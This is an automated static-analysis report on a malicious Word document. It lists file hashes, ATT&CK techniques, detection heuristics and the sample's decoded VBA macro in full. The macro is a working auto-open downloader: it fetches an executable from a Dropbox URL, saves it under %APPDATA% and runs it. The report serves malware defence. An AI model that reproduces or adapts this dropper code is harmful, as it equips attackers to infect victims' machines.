Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a88a81a181e52488…

MALICIOUS

Office (OLE)

36.5 KB Created: 2014-02-23 13:59:00 Authoring application: Microsoft Office Word First seen: 2015-09-18
MD5: 271cc754911788fe04bd06be0efa3cb0 SHA-1: 56dee95d9b9ce3c140d128809106ae25ea0a20c8 SHA-256: a88a81a181e52488a9d8f9655ddbcc0825f91de6dd2fe9bf6573df19f69f5dd7
386 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document that uses a lure to trick the user into enabling macros. Upon enabling, the VBA macro uses WScript.Shell to download an executable file from 'https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exe' and saves it to '%APPDATA%\SBRBWDUEFXQ\the embedded link', indicating it functions as a downloader for a second-stage payload.

Heuristics 13

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set RGOEPGRENAW = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write NWHSWBIYWEU.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set RGOEPGRENAW = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
    • https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exeReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2146 bytes
SHA-256: b07d213be5d9854ad169783c1c5ee4645fa07c430fa5512af8a1c0eba9363983
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
MRGHZKBZTOM
End Sub
Sub MRGHZKBZTOM()
Set RGOEPGRENAW = CreateObject("WScript.Shell")
RYZKEVIBUTW = RGOEPGRENAW.ExpandEnvironmentStrings("%APPDATA%")
Dim JNFBSGRKVHW: JNFBSGRKVHW = RYZKEVIBUTW & "\SBRBWDUEFXQ"

 Set KIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
   If (KIKLXOFMALY.FolderExists(JNFBSGRKVHW)) Then
   Else
   Set oKIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
      oKIKLXOFMALY.CreateFolder JNFBSGRKVHW
   
End If
Dim ZGUIBSBJVTW: Set ZGUIBSBJVTW = CreateObject("Adodb.Stream")
Dim NWHSWBIYWEU: Set NWHSWBIYWEU = CreateObject("Microsoft.XMLHTTP")
NWHSWBIYWEU.Open "GET", "https://dl.dropboxusercontent.com/s/3zgqwkro2gt5kcj/sdfzer9898kleer.exe", False
NWHSWBIYWEU.Send
With ZGUIBSBJVTW
    .Type = 1
    .Open
    .write NWHSWBIYWEU.responseBody
    .savetofile RYZKEVIBUTW & "\SBRBWDUEFXQ\GHWYNKNAQHP.com", 2
End With
Call FLCALOGPDUV(JNFBSGRKVHW)
End Sub
Function FLCALOGPDUV(LSHAVQEXPKX)
    Dim KIKLXOFMALY, PAHHPFGQRUT, VADBOUDXYWB, VNRASXUVHTK, HWBTEZAIMDB, RMKIWZLJCNB
    Dim OFUQONIWVMZ
    Set OFUQONIWVMZ = CreateObject("WScript.Shell")
    HWBTEZAIMDB = ""
    Set KIKLXOFMALY = CreateObject("Scripting.FileSystemObject")
    If (KIKLXOFMALY.FolderExists(LSHAVQEXPKX)) Then
        Set PAHHPFGQRUT = KIKLXOFMALY.GetFolder(LSHAVQEXPKX)
        Set VADBOUDXYWB = PAHHPFGQRUT.Files
        
        For Each VNRASXUVHTK In VADBOUDXYWB
        Dim TVEPKBVKYRX
        TVEPKBVKYRX = LSHAVQEXPKX & "\" & VNRASXUVHTK.Name
        OFUQONIWVMZ.Run Chr(34) & TVEPKBVKYRX & Chr(34), 1, True
    Next
        Set VNRASXUVHTK = QLYMZCHALNI
        Set VADBOUDXYWB = NMZDWDUJPTQ
        Set PAHHPFGQRUT = EDDYJFRPTMA
    End If
    Set KIKLXOFMALY = PRLABLLSPWB
End Function
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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